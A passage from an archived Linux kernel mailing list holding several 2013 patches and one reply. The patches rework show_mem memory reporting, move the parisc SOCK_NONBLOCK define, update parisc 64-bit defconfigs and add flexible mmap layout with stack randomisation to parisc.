-				reserved++;
-			else if (PageSwapCache(page))
-				cached++;
-			else if (page_count(page))
-				shared += page_count(page)-1;
-		}
-		pgdat_resize_unlock(pgdat, &flags);
-		total_present += present;
-		total_reserved += reserved;
-		total_cached += cached;
-		total_shared += shared;
-		printk(KERN_INFO "Node %4d:  RAM: %11ld, rsvd: %8d, "
-		       "shrd: %10d, swpd: %10d\n", nid,
-		       present, reserved, shared, cached);
-	}
-	printk(KERN_INFO "%ld pages of RAM\n", total_present);
-	printk(KERN_INFO "%d reserved pages\n", total_reserved);
-	printk(KERN_INFO "%d pages shared\n", total_shared);
-	printk(KERN_INFO "%d pages swap cached\n", total_cached);
-	printk(KERN_INFO "Total of %ld pages in page table cache\n",
-	       quicklist_total_size());
-	printk(KERN_INFO "%ld free buffer pages\n", nr_free_buffer_pages());
-}
-
-/**
  * call_pernode_memory - use SRAT to call callback functions with node info
  * @start: physical start of range
  * @len: length of range
diff --git a/arch/ia64/mm/init.c b/arch/ia64/mm/init.c
index 88504ab..25c3502 100644
--- a/arch/ia64/mm/init.c
+++ b/arch/ia64/mm/init.c
@@ -684,3 +684,51 @@ per_linux32_init(void)
 }
 
 __initcall(per_linux32_init);
+
+/**
+ * show_mem - give short summary of memory stats
+ *
+ * Shows a simple page count of reserved and used pages in the system.
+ * For discontig machines, it does this on a per-pgdat basis.
+ */
+void show_mem(unsigned int filter)
+{
+	int total_reserved = 0;
+	unsigned long total_present = 0;
+	pg_data_t *pgdat;
+
+	printk(KERN_INFO "Mem-info:\n");
+	show_free_areas(filter);
+	printk(KERN_INFO "Node memory in pages:\n");
+	for_each_online_pgdat(pgdat) {
+		unsigned long present;
+		unsigned long flags;
+		int reserved = 0;
+		int nid = pgdat->node_id;
+		int zoneid;
+
+		if (skip_free_areas_node(filter, nid))
+			continue;
+		pgdat_resize_lock(pgdat, &flags);
+
+		for (zoneid = 0; zoneid < MAX_NR_ZONES; zoneid++) {
+			struct zone *zone = &pgdat->node_zones[zoneid];
+			if (!populated_zone(zone))
+				continue;
+
+			reserved += zone->present_pages - zone->managed_pages;
+		}
+		present = pgdat->node_present_pages;
+
+		pgdat_resize_unlock(pgdat, &flags);
+		total_present += present;
+		total_reserved += reserved;
+		printk(KERN_INFO "Node %4d:  RAM: %11ld, rsvd: %8d, ",
+		       nid, present, reserved);
+	}
+	printk(KERN_INFO "%ld pages of RAM\n", total_present);
+	printk(KERN_INFO "%d reserved pages\n", total_reserved);
+	printk(KERN_INFO "Total of %ld pages in page table cache\n",
+	       quicklist_total_size());
+	printk(KERN_INFO "%ld free buffer pages\n", nr_free_buffer_pages());
+}
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index b0f96c0..e12d5a7 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -632,55 +632,33 @@ EXPORT_SYMBOL(empty_zero_page);
 
 void show_mem(unsigned int filter)
 {
-	int i,free = 0,total = 0,reserved = 0;
-	int shared = 0, cached = 0;
+	int total = 0,reserved = 0;
+	pg_data_t *pgdat;
 
 	printk(KERN_INFO "Mem-info:\n");
 	show_free_areas(filter);
-	if (filter & SHOW_MEM_FILTER_PAGE_COUNT)
-		return;
-#ifndef CONFIG_DISCONTIGMEM
-	i = max_mapnr;
-	while (i-- > 0) {
-		total++;
-		if (PageReserved(mem_map+i))
-			reserved++;
-		else if (PageSwapCache(mem_map+i))
-			cached++;
-		else if (!page_count(&mem_map[i]))
-			free++;
-		else
-			shared += page_count(&mem_map[i]) - 1;
-	}
-#else
-	for (i = 0; i < npmem_ranges; i++) {
-		int j;
 
-		for (j = node_start_pfn(i); j < node_end_pfn(i); j++) {
-			struct page *p;
-			unsigned long flags;
-
-			pgdat_resize_lock(NODE_DATA(i), &flags);
-			p = nid_page_nr(i, j) - node_start_pfn(i);
-
-			total++;
-			if (PageReserved(p))
-				reserved++;
-			else if (PageSwapCache(p))
-				cached++;
-			else if (!page_count(p))
-				free++;
-			else
-				shared += page_count(p) - 1;
-			pgdat_resize_unlock(NODE_DATA(i), &flags);
-        	}
+	for_each_online_pgdat(pgdat) {
+		unsigned long flags;
+		int zoneid;
+
+		pgdat_resize_lock(pgdat, &flags);
+		for (zoneid = 0; zoneid < MAX_NR_ZONES; zoneid++) {
+			struct zone *zone = &pgdat->node_zones[zoneid];
+			if (!populated_zone(zone))
+				continue;
+
+			total += zone->present_pages;
+			reserved = zone->present_pages - zone->managed_pages;
+
+			if (is_highmem_idx(zoneid))
+				highmem += zone->present_pages;
+		}
+		pgdat_resize_unlock(pgdat, &flags);
 	}
-#endif
+
 	printk(KERN_INFO "%d pages of RAM\n", total);
 	printk(KERN_INFO "%d reserved pages\n", reserved);
-	printk(KERN_INFO "%d pages shared\n", shared);
-	printk(KERN_INFO "%d pages swap cached\n", cached);
-
 
 #ifdef CONFIG_DISCONTIGMEM
 	{
diff --git a/arch/unicore32/mm/init.c b/arch/unicore32/mm/init.c
index ae6bc03..be2bde9 100644
--- a/arch/unicore32/mm/init.c
+++ b/arch/unicore32/mm/init.c
@@ -66,9 +66,6 @@ void show_mem(unsigned int filter)
 	printk(KERN_DEFAULT "Mem-info:\n");
 	show_free_areas(filter);
 
-	if (filter & SHOW_MEM_FILTER_PAGE_COUNT)
-		return;
-
 	for_each_bank(i, mi) {
 		struct membank *bank = &mi->bank[i];
 		unsigned int pfn1, pfn2;
diff --git a/include/linux/mm.h b/include/linux/mm.h
index 1cedd00..42b2486 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -984,7 +984,6 @@ extern void pagefault_out_of_memory(void);
  * various contexts.
  */
 #define SHOW_MEM_FILTER_NODES		(0x0001u)	/* disallowed nodes */
-#define SHOW_MEM_FILTER_PAGE_COUNT	(0x0002u)	/* page type count */
 
 extern void show_free_areas(unsigned int flags);
 extern bool skip_free_areas_node(unsigned int flags, int nid);
diff --git a/lib/show_mem.c b/lib/show_mem.c
index 5847a49..f58689f 100644
--- a/lib/show_mem.c
+++ b/lib/show_mem.c
@@ -17,9 +17,6 @@ void show_mem(unsigned int filter)
 	printk("Mem-Info:\n");
 	show_free_areas(filter);
 
-	if (filter & SHOW_MEM_FILTER_PAGE_COUNT)
-		return;
-
 	for_each_online_pgdat(pgdat) {
 		unsigned long flags;
 		int zoneid;
diff --git a/mm/page_alloc.c b/mm/page_alloc.c
index 580a5f0..dcb61e8 100644
--- a/mm/page_alloc.c
+++ b/mm/page_alloc.c
@@ -2073,13 +2073,6 @@ void warn_alloc_failed(gfp_t gfp_mask, int order, const char *fmt, ...)
 		return;
 
 	/*
-	 * Walking all memory to count page types is very expensive and should
-	 * be inhibited in non-blockable contexts.
-	 */
-	if (!(gfp_mask & __GFP_WAIT))
-		filter |= SHOW_MEM_FILTER_PAGE_COUNT;
-
-	/*
 	 * This documents exceptions given to allocations in certain
 	 * contexts that are allowed to allocate outside current's set
 	 * of allowed nodes.
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Luis Henriques <luis.henriques@canonical.com>
Newsgroups: gmane.linux.kernel.stable,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: break out SOCK_NONBLOCK define to own asm header
 file
Date: Tue, 3 Dec 2013 19:28:05 +0000
Lines: 74
Approved: news@gmane.org
Message-ID: <20131203192805.GA15906@hercules>
References: <20131130224227.GA23795@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1386098886 7690 80.91.229.3 (3 Dec 2013 19:28:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Dec 2013 19:28:06 +0000 (UTC)
Cc: stable@vger.kernel.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: stable-owner@vger.kernel.org Tue Dec 03 20:28:11 2013
Return-path: <stable-owner@vger.kernel.org>
Envelope-to: glks-stable3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <stable-owner@vger.kernel.org>)
	id 1Vnvdi-0000To-FO
	for glks-stable3@plane.gmane.org; Tue, 03 Dec 2013 20:28:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754129Ab3LCT2J (ORCPT <rfc822;glks-stable3@m.gmane.org>);
	Tue, 3 Dec 2013 14:28:09 -0500
Original-Received: from youngberry.canonical.com ([91.189.89.112]:52304 "EHLO
	youngberry.canonical.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753466Ab3LCT2I (ORCPT
	<rfc822;stable@vger.kernel.org>); Tue, 3 Dec 2013 14:28:08 -0500
Original-Received: from bl6-121-110.dsl.telepac.pt ([82.155.121.110] helo=localhost)
	by youngberry.canonical.com with esmtpsa (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.71)
	(envelope-from <luis.henriques@canonical.com>)
	id 1Vnvdf-0003sw-9d; Tue, 03 Dec 2013 19:28:07 +0000
Content-Disposition: inline
In-Reply-To: <20131130224227.GA23795@p100.box>
Original-Sender: stable-owner@vger.kernel.org
Precedence: bulk
List-ID: <stable.vger.kernel.org>
X-Mailing-List: stable@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.stable:71858 gmane.linux.ports.parisc:5531
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.stable/71858>

On Sat, Nov 30, 2013 at 11:42:27PM +0100, Helge Deller wrote:
> Dear stable kernel maintainers,
> 
> Can you please schedule this patch for inclusion starting from kernel 3.7+ ?
> 
> Upstream commit:
>  38c7937 parisc: break out SOCK_NONBLOCK define to own asm header file
> 
> Cherry-picking will probably not work easily because of this patch which went
> in before: 62748f3 net: introduce SO_MAX_PACING_RATE
> 
> Thanks,
> Helge

Thank you, I am queuing this patch for the 3.11 kernel.

Cheers,
--
Luis


> 
> ---------------- parisc: break out SOCK_NONBLOCK define to own asm
> header file
> 
> Break SOCK_NONBLOCK out to its own asm-file as other arches do. This
> fixes build errors with auditd and probably other packages.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> diff --git a/arch/parisc/include/asm/socket.h b/arch/parisc/include/asm/socket.h
> new file mode 100644
> index 0000000..748016c
> --- /dev/null
> +++ b/arch/parisc/include/asm/socket.h
> @@ -0,0 +1,11 @@
> +#ifndef _ASM_SOCKET_H
> +#define _ASM_SOCKET_H
> +
> +#include <uapi/asm/socket.h>
> +
> +/* O_NONBLOCK clashes with the bits used for socket types.  Therefore we
> + * have to define SOCK_NONBLOCK to a different value here.
> + */
> +#define SOCK_NONBLOCK	0x40000000
> +
> +#endif /* _ASM_SOCKET_H */
> diff --git a/arch/parisc/include/uapi/asm/socket.h b/arch/parisc/include/uapi/asm/socket.h
> index 71700e6..9f2174f 100644
> --- a/arch/parisc/include/uapi/asm/socket.h
> +++ b/arch/parisc/include/uapi/asm/socket.h
> @@ -1,5 +1,5 @@
> -#ifndef _ASM_SOCKET_H
> -#define _ASM_SOCKET_H
> +#ifndef _UAPI_ASM_SOCKET_H
> +#define _UAPI_ASM_SOCKET_H
>  
>  #include <asm/sockios.h>
>  
> @@ -75,9 +75,4 @@
>  
>  #define SO_BUSY_POLL		0x4027
>  
> -/* O_NONBLOCK clashes with the bits used for socket types.  Therefore we
> - * have to define SOCK_NONBLOCK to a different value here.
> - */
> -#define SOCK_NONBLOCK   0x40000000
> -
> -#endif /* _ASM_SOCKET_H */
> +#endif /* _UAPI_ASM_SOCKET_H */
> --
> To unsubscribe from this list: send the line "unsubscribe stable" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html

From - Thu Nov 08 21:09:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: update 64bit defconfigs and use SIL680 instead of
 SIIMAGE driver
Date: Tue, 3 Dec 2013 23:02:26 +0100
Lines: 166
Approved: news@gmane.org
Message-ID: <20131203220226.GA23556@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1386108158 20822 80.91.229.3 (3 Dec 2013 22:02:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Dec 2013 22:02:38 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 03 23:02:43 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vny3F-0003pS-3A
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Dec 2013 23:02:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755361Ab3LCWCe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Dec 2013 17:02:34 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:56151 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755374Ab3LCWCa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Dec 2013 17:02:30 -0500
Original-Received: from p100.box ([84.173.62.100]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0MQ2Wx-1VjHLU2k5r-005Dxz for
 <linux-parisc@vger.kernel.org>; Tue, 03 Dec 2013 23:02:28 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:XWzT5VQfS7ZoiNHDKxEA8nPFQwMR8jQsTmgHcBQHEv3fpf7RUDe
 pCYnMi6p6gckMIRg/DWR5wzNZovzEFfcIIKYpjytdopU5w43D56WOxqyrVzkTIjeVc/Y616
 riqVOAfIQTq1cspfyVBjsFsFbVJZGGFnftHXbPli2Jnb/eQk/ksMQ0BnHUf0hdtRkOKGx0n
 uIGPiGaQWiouAuUKQ+wZQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5532
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5532>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/configs/c3000_defconfig b/arch/parisc/configs/c3000_defconfig
index ec1b014..acacd34 100644
--- a/arch/parisc/configs/c3000_defconfig
+++ b/arch/parisc/configs/c3000_defconfig
@@ -50,7 +50,7 @@ CONFIG_BLK_DEV_CRYPTOLOOP=m
 CONFIG_IDE=y
 CONFIG_BLK_DEV_IDECD=y
 CONFIG_BLK_DEV_NS87415=y
-CONFIG_BLK_DEV_SIIMAGE=m
+CONFIG_PATA_SIL680=m
 CONFIG_SCSI=y
 CONFIG_BLK_DEV_SD=y
 CONFIG_CHR_DEV_ST=y
diff --git a/arch/parisc/configs/c8000_defconfig b/arch/parisc/configs/c8000_defconfig
index bb81d02..8249ac9 100644
--- a/arch/parisc/configs/c8000_defconfig
+++ b/arch/parisc/configs/c8000_defconfig
@@ -80,8 +80,6 @@ CONFIG_IDE=y
 CONFIG_BLK_DEV_IDECD=y
 CONFIG_BLK_DEV_PLATFORM=y
 CONFIG_BLK_DEV_GENERIC=y
-CONFIG_BLK_DEV_SIIMAGE=y
-CONFIG_SCSI=y
 CONFIG_BLK_DEV_SD=y
 CONFIG_CHR_DEV_ST=m
 CONFIG_BLK_DEV_SR=m
@@ -93,6 +91,8 @@ CONFIG_SCSI_FC_ATTRS=y
 CONFIG_SCSI_SAS_LIBSAS=m
 CONFIG_ISCSI_TCP=m
 CONFIG_ISCSI_BOOT_SYSFS=m
+CONFIG_ATA=y
+CONFIG_PATA_SIL680=y
 CONFIG_FUSION=y
 CONFIG_FUSION_SPI=y
 CONFIG_FUSION_SAS=y
@@ -113,9 +113,8 @@ CONFIG_INPUT_FF_MEMLESS=m
 # CONFIG_KEYBOARD_ATKBD is not set
 # CONFIG_KEYBOARD_HIL_OLD is not set
 # CONFIG_KEYBOARD_HIL is not set
-CONFIG_MOUSE_PS2=m
+# CONFIG_MOUSE_PS2 is not set
 CONFIG_INPUT_MISC=y
-CONFIG_INPUT_CM109=m
 CONFIG_SERIO_SERPORT=m
 CONFIG_SERIO_PARKBD=m
 CONFIG_SERIO_GSCPS2=m
@@ -166,34 +165,6 @@ CONFIG_SND_VERBOSE_PRINTK=y
 CONFIG_SND_AD1889=m
 # CONFIG_SND_USB is not set
 # CONFIG_SND_GSC is not set
-CONFIG_HID_A4TECH=m
-CONFIG_HID_APPLE=m
-CONFIG_HID_BELKIN=m
-CONFIG_HID_CHERRY=m
-CONFIG_HID_CHICONY=m
-CONFIG_HID_CYPRESS=m
-CONFIG_HID_DRAGONRISE=m
-CONFIG_HID_EZKEY=m
-CONFIG_HID_KYE=m
-CONFIG_HID_GYRATION=m
-CONFIG_HID_TWINHAN=m
-CONFIG_HID_KENSINGTON=m
-CONFIG_HID_LOGITECH=m
-CONFIG_HID_LOGITECH_DJ=m
-CONFIG_HID_MICROSOFT=m
-CONFIG_HID_MONTEREY=m
-CONFIG_HID_NTRIG=m
-CONFIG_HID_ORTEK=m
-CONFIG_HID_PANTHERLORD=m
-CONFIG_HID_PETALYNX=m
-CONFIG_HID_SAMSUNG=m
-CONFIG_HID_SUNPLUS=m
-CONFIG_HID_GREENASIA=m
-CONFIG_HID_SMARTJOYPLUS=m
-CONFIG_HID_TOPSEED=m
-CONFIG_HID_THRUSTMASTER=m
-CONFIG_HID_ZEROPLUS=m
-CONFIG_USB_HID=m
 CONFIG_USB=y
 CONFIG_USB_OHCI_HCD=y
 CONFIG_USB_STORAGE=y
diff --git a/arch/parisc/configs/generic-64bit_defconfig b/arch/parisc/configs/generic-64bit_defconfig
index 1413b8d..28c1b5d 100644
--- a/arch/parisc/configs/generic-64bit_defconfig
+++ b/arch/parisc/configs/generic-64bit_defconfig
@@ -67,7 +67,6 @@ CONFIG_IDE_GD=m
 CONFIG_IDE_GD_ATAPI=y
 CONFIG_BLK_DEV_IDECD=m
 CONFIG_BLK_DEV_NS87415=y
-CONFIG_BLK_DEV_SIIMAGE=y
 # CONFIG_SCSI_PROC_FS is not set
 CONFIG_BLK_DEV_SD=y
 CONFIG_BLK_DEV_SR=y
@@ -81,6 +80,7 @@ CONFIG_SCSI_ZALON=y
 CONFIG_SCSI_QLA_ISCSI=m
 CONFIG_SCSI_DH=y
 CONFIG_ATA=y
+CONFIG_PATA_SIL680=y
 CONFIG_ATA_GENERIC=y
 CONFIG_MD=y
 CONFIG_MD_LINEAR=m
@@ -161,7 +161,7 @@ CONFIG_SLIP_MODE_SLIP6=y
 CONFIG_INPUT_EVDEV=y
 # CONFIG_KEYBOARD_HIL_OLD is not set
 # CONFIG_KEYBOARD_HIL is not set
-# CONFIG_INPUT_MOUSE is not set
+# CONFIG_MOUSE_PS2 is not set
 CONFIG_INPUT_MISC=y
 CONFIG_SERIO_SERPORT=m
 # CONFIG_HP_SDC is not set
@@ -215,32 +215,7 @@ CONFIG_BACKLIGHT_LCD_SUPPORT=y
 CONFIG_FRAMEBUFFER_CONSOLE_ROTATION=y
 CONFIG_LOGO=y
 # CONFIG_LOGO_LINUX_MONO is not set
-CONFIG_HID=m
 CONFIG_HIDRAW=y
-CONFIG_HID_DRAGONRISE=m
-CONFIG_DRAGONRISE_FF=y
-CONFIG_HID_KYE=m
-CONFIG_HID_GYRATION=m
-CONFIG_HID_TWINHAN=m
-CONFIG_LOGITECH_FF=y
-CONFIG_LOGIRUMBLEPAD2_FF=y
-CONFIG_HID_NTRIG=m
-CONFIG_HID_PANTHERLORD=m
-CONFIG_PANTHERLORD_FF=y
-CONFIG_HID_PETALYNX=m
-CONFIG_HID_SAMSUNG=m
-CONFIG_HID_SONY=m
-CONFIG_HID_SUNPLUS=m
-CONFIG_HID_GREENASIA=m
-CONFIG_GREENASIA_FF=y
-CONFIG_HID_SMARTJOYPLUS=m
-CONFIG_SMARTJOYPLUS_FF=y
-CONFIG_HID_TOPSEED=m
-CONFIG_HID_THRUSTMASTER=m
-CONFIG_THRUSTMASTER_FF=y
-CONFIG_HID_ZEROPLUS=m
-CONFIG_ZEROPLUS_FF=y
-CONFIG_USB_HID=m
 CONFIG_HID_PID=y
 CONFIG_USB_HIDDEV=y
 CONFIG_USB=y
@@ -250,13 +225,8 @@ CONFIG_USB_DYNAMIC_MINORS=y
 CONFIG_USB_MON=m
 CONFIG_USB_WUSB_CBAF=m
 CONFIG_USB_XHCI_HCD=m
-CONFIG_USB_EHCI_HCD=m
-CONFIG_USB_OHCI_HCD=m
-CONFIG_USB_R8A66597_HCD=m
-CONFIG_USB_ACM=m
-CONFIG_USB_PRINTER=m
-CONFIG_USB_WDM=m
-CONFIG_USB_TMC=m
+CONFIG_USB_EHCI_HCD=y
+CONFIG_USB_OHCI_HCD=y
 CONFIG_NEW_LEDS=y
 CONFIG_LEDS_CLASS=y
 CONFIG_LEDS_TRIGGERS=y
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: add flexible mmap layout support
Date: Tue, 3 Dec 2013 23:18:46 +0100
Lines: 326
Approved: news@gmane.org
Message-ID: <20131203221846.GA23704@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1386109129 301 80.91.229.3 (3 Dec 2013 22:18:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Dec 2013 22:18:49 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	dave.anglin@bell.net
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 03 23:18:54 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VnyIu-00049Z-Gi
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Dec 2013 23:18:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755018Ab3LCWSv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Dec 2013 17:18:51 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:51643 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755311Ab3LCWSu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Dec 2013 17:18:50 -0500
Original-Received: from p100.box ([84.173.62.100]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0LoJDJ-1V8Ysb0a09-00gEL6 for
 <linux-parisc@vger.kernel.org>; Tue, 03 Dec 2013 23:18:49 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:M0X/3ECUQ19B3Gomm1iIbcVzyL3BCKOKHchP5Q3UfZlRL4XyGXs
 KG78unRF82X6AcYW5zcrPRFdgHicVjamUSxGaYmmKeQxxvY0pPk1pTsxONjk7210R/d0sPr
 hmolENQZHCPOCfBO0L5QRH6RpD9RmmPtS/VxQiA87fyXmIeJUmb2Ulk3wxTe6EnY8DHI+Gr
 bTSxaxEv1Pzc3uzasT01w==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5533
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5533>

- initial version
- add mmap address & stack randomization
- probably fixes a few other bugs in the mmap code
- can be enabled/turned off by "echo 0/1 > /proc/sys/vm/legacy_va_layout
- new flexible mmap layout is by default turned on

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/elf.h b/arch/parisc/include/asm/elf.h
index ad2b503..80db5b2 100644
--- a/arch/parisc/include/asm/elf.h
+++ b/arch/parisc/include/asm/elf.h
@@ -348,4 +348,11 @@ struct pt_regs;	/* forward declaration... */
 
 #define ELF_HWCAP	0
 
+/* Stack randomization: 1GB for 64bit, 8MB for 32bit */
+#ifdef CONFIG_64BIT
+# define STACK_RND_MASK (test_thread_flag(TIF_32BIT) ? 0x7ff : 0x3fffff)
+#else
+# define STACK_RND_MASK (0x7ff)
+#endif
+
 #endif
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index 34899b5..22b89d1 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -511,6 +511,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 /* We provide our own get_unmapped_area to provide cache coherency */
 
 #define HAVE_ARCH_UNMAPPED_AREA
+#define HAVE_ARCH_UNMAPPED_AREA_TOPDOWN
 
 #define __HAVE_ARCH_PTEP_TEST_AND_CLEAR_YOUNG
 #define __HAVE_ARCH_PTEP_GET_AND_CLEAR
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 9cbee39..75985b8 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -30,6 +30,8 @@
 #endif
 #define current_text_addr() ({ void *pc; current_ia(pc); pc; })
 
+#define HAVE_ARCH_PICK_MMAP_LAYOUT
+
 #define TASK_SIZE_OF(tsk)       ((tsk)->thread.task_size)
 #define TASK_SIZE	        TASK_SIZE_OF(current)
 #define TASK_UNMAPPED_BASE      (current->thread.map_base)
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index 0d3a9d4..dd22137 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -23,6 +23,7 @@
  */
 
 #include <asm/uaccess.h>
+#include <asm/elf.h>
 #include <linux/file.h>
 #include <linux/fs.h>
 #include <linux/linkage.h>
@@ -32,19 +33,7 @@
 #include <linux/syscalls.h>
 #include <linux/utsname.h>
 #include <linux/personality.h>
-
-static unsigned long get_unshared_area(unsigned long addr, unsigned long len)
-{
-	struct vm_unmapped_area_info info;
-
-	info.flags = 0;
-	info.length = len;
-	info.low_limit = PAGE_ALIGN(addr);
-	info.high_limit = TASK_SIZE;
-	info.align_mask = 0;
-	info.align_offset = 0;
-	return vm_unmapped_area(&info);
-}
+#include <linux/random.h>
 
 /*
  * We need to know the offset to use.  Old scheme was to look for
@@ -58,7 +47,7 @@ static unsigned long get_unshared_area(unsigned long addr, unsigned long len)
  */
 static int get_offset(struct address_space *mapping)
 {
-	return (unsigned long) mapping >> 8;
+	return ((unsigned long) mapping >> 8) & ((SHMLBA-1) >> PAGE_SHIFT);
 }
 
 static unsigned long shared_align_offset(struct file *filp, unsigned long pgoff)
@@ -68,42 +57,215 @@ static unsigned long shared_align_offset(struct file *filp, unsigned long pgoff)
 	return (get_offset(mapping) + pgoff) << PAGE_SHIFT;
 }
 
-static unsigned long get_shared_area(struct file *filp, unsigned long addr,
-		unsigned long len, unsigned long pgoff)
+static inline unsigned long COLOR_ALIGN(unsigned long addr,
+					 struct file *filp, unsigned long pgoff)
+{
+	unsigned long base = (addr+SHMLBA-1)&~(SHMLBA-1);
+	unsigned long off = (shared_align_offset(filp, pgoff) << PAGE_SHIFT)
+			     & (SHMLBA-1);
+
+	return base + off;
+}
+
+/*
+ * Top of mmap area (just below the process stack).
+ */
+
+static unsigned long mmap_upper_limit(void)
+{
+	unsigned long stack_base;
+
+	/* Limit stack size to 1GB - see setup_arg_pages() in fs/exec.c */
+	stack_base = rlimit_max(RLIMIT_STACK);
+	if (stack_base > (1 << 30))
+		stack_base = 1 << 30;
+
+	return PAGE_ALIGN(STACK_TOP - stack_base);
+}
+
+
+unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
+		unsigned long len, unsigned long pgoff, unsigned long flags)
 {
+	struct mm_struct *mm = current->mm;
+	struct vm_area_struct *vma;
+	unsigned long task_size = TASK_SIZE;
+	int do_color_align;
 	struct vm_unmapped_area_info info;
 
+	if (len > task_size)
+		return -ENOMEM;
+	if (flags & MAP_FIXED) {
+		if ((flags & MAP_SHARED) &&
+		    (addr - shared_align_offset(filp, pgoff)) & (SHMLBA - 1))
+			return -EINVAL;
+		return addr;
+	}
+
+	do_color_align = 0;
+	if (filp || (flags & MAP_SHARED))
+		do_color_align = 1;
+
